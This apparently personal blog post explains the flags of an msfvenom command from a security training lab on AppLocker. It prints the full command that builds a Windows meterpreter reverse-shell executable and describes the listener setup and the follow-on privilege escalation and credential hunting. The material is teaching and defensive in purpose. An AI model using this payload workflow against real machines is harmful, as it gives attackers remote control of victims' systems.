Explaining (bits of) MSFVenom
Recently I was taking part in the Black Hills Information Security/Wild West Hackin' Fest training course Getting Started in Security with BHIS and MITRE ATT&CK presented by the awesome John Strand. I previously attended this course a few months back and returned this time to pick up on anything I may have missed the first time around and to help out in my role as part of the Community Support team on their Discord channel.
As part of this training course, a Virtual Machine is provided which contains all that you need in order to follow along with what John's teaching. It's a Windows 10 machine with Docker and WSL2 (Windows Subsystem for Linux) installed. It also contains all the information needed to be able to run through the labs in your own time (the LABS document is on the desktop of the virtual machine. Seriously, it's on the desktop. Have you tried looking on the desktop? Why do people keep asking where the labs are?)
One of the labs demonstrates how you would use AppLocker on a Windows system in order to prevent malicious software (or pretty much any software, in fact) from executing, giving system admins and cyber security staff the opportunity to sleep slightly more easily at night knowing that their users had fewer mechanisms through which they could cause issues.
In order to demonstrate this in action, John showed us how to create a malicious file using Metasploit's msfvenom console command from a Ubuntu instance on WSL2.
All pretty simple so far, right?
In terms of generating the executable, the instructions give us the following command to run:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o /tmp/TrustMe.exe
And then it moves on to what needs to be done in order to get that file onto the Windows system and execute it.
What it doesn't do, and I'm not knocking it for this as it's not specifically relevant to the task at hand, is explain what it is the msfvenom is doing or what the parameters are which are being fed into msfvenom. Someone on the Discord chat wanted to know more:
Hey everyone. Question about yesterday's lab: In the command msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o /tmp/TrustMe.exe
What does the -o option represent?
This is exactly the sort of thing I like to see - someone who's taken in the course material and is interested in finding out more.
I was planning on giving a quick answer to this, but it ended up being a little longer than expected:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
lhost= lport=4444 -f exe -o /tmp/TrustMe.exe
-a – The architecture which the output is destined for. msfvenom can create executables which run on a variety of platforms. For Windows systems you'll mainly be looking at x86 or x64.
--platform – The platform you're targeting, e.g. an operating system (Windows, Linux, BSD, MacOS), or a framework/platform/language (PHP, JavaScript, etc.). Each of these has a different way of loading and running executable code so the output needs to be structured correctly for these.
-p – the payload to include. Basically “What I want this to do when the user runs it”. Meterpreter has a number of different payloads which can by used. The one here (windows/meterpreter/reverse_tcp) is for creating a reverse_tcp shell (so the machine the code runs on calls back to another host to give it a shell) for meterpreter (you could have it set to just send plain data over rather than specifically having meterpreter at the other end) for a Windows system.
lhost – The IP address of the host which is receiving the reverse shell connection. In this case it will be the Ubuntu WSL instance running on your machine, but could be set to any address on the Internet.
lport – The port number which the connection will try to reach.
-f – the format of the file you're trying to generate. In this case it's an normal executable file but there are other ways of getting malicious code executed on a target machine.
-o – the name of the output which is being generated
This all combines together to give us an executable which will run a specific function once it has been transferred to the target machine – in this case getting it to establish a connection back to meterpreter on the attacking machine to allow the attacker to execute commands, etc.
From here you then use msfconsole to set up the other end of the connection on the machine you are attacking from (your Ubuntu WSL instance). In here you tell it to use the meterpreter handler. Setting LHOST lets it know what IP address to be listening on. This can be the same as the one you fed into msfvenom or it could be different if you are using port-forwarding or NAT to establish the connection. LPORT can be set here and needs to match the port number given to msfvenom (again, unless you're doing NAT stuff).
Once you have the listener running on the Ubuntu machine, the malicious file is transferred to the Windows machine and executed. Assuming that all the above functioned as expected, it will then create a connection back to your Ubuntu machine which then allows you to perform actions on the victim (Windows) machine from the attacking (Ubuntu) machine where any commands you instruct it to run will be executed as the user who ran the file.
This isn't exploiting any specific vulnerability within Windows, it's just making an outbound network connection, similar to how many legitimate pieces of software would function. It just happens that in this case it grants the system it's connecting to access to do things.
Once this connection has been established the attacker could then look around for things which may be useful. This could be paths to escalate the privilege level they have on the machine (i.e. going from a restricted user account to an admin account). This could be either by exploiting vulnerabilities or finding poorly configured software which can be exploited. Alternatively they could do additional reconnaissance from this position, such as finding out details of the local/internal network or looking for usernames and passwords which may be stored on the local machine.
Obviously you wouldn't want to have this happen against you/your users outside of this controlled environment as actual harm could come of it, which is where we get into looking at preventative measures such as using AppLocker as that would prevent the file from executing in the first place.
Firewalls can also be used to prevent the executable making connections to the outside world even if it were allowed to be run. Just controlling this through the firewall would not be sufficient in itself as it would be possible to send a payload which does damage to the machine without needing to make any network connections as part of the process.
As I thought what I'd written may be of value outside of the Discord chat, I thought I'd turn it into this blog post (and tidy it up a bit).
There are many other parameters which msfvenom can use which I haven't covered here (maybe I will in a later blog post) but this hopefully serves as a good primer on what it's doing.
Thanks for reading, I hope you found the above useful :)
(Also, if you've not heard of BHIS/WWHF before and you have an interest in Information Security, I'd highly recommend checking them out - they offer loads of free 1hr training sessions on a near weekly basis. They also do a lot of longer paid-for courses at very reasonable prices which going into topics with a much greater depth.)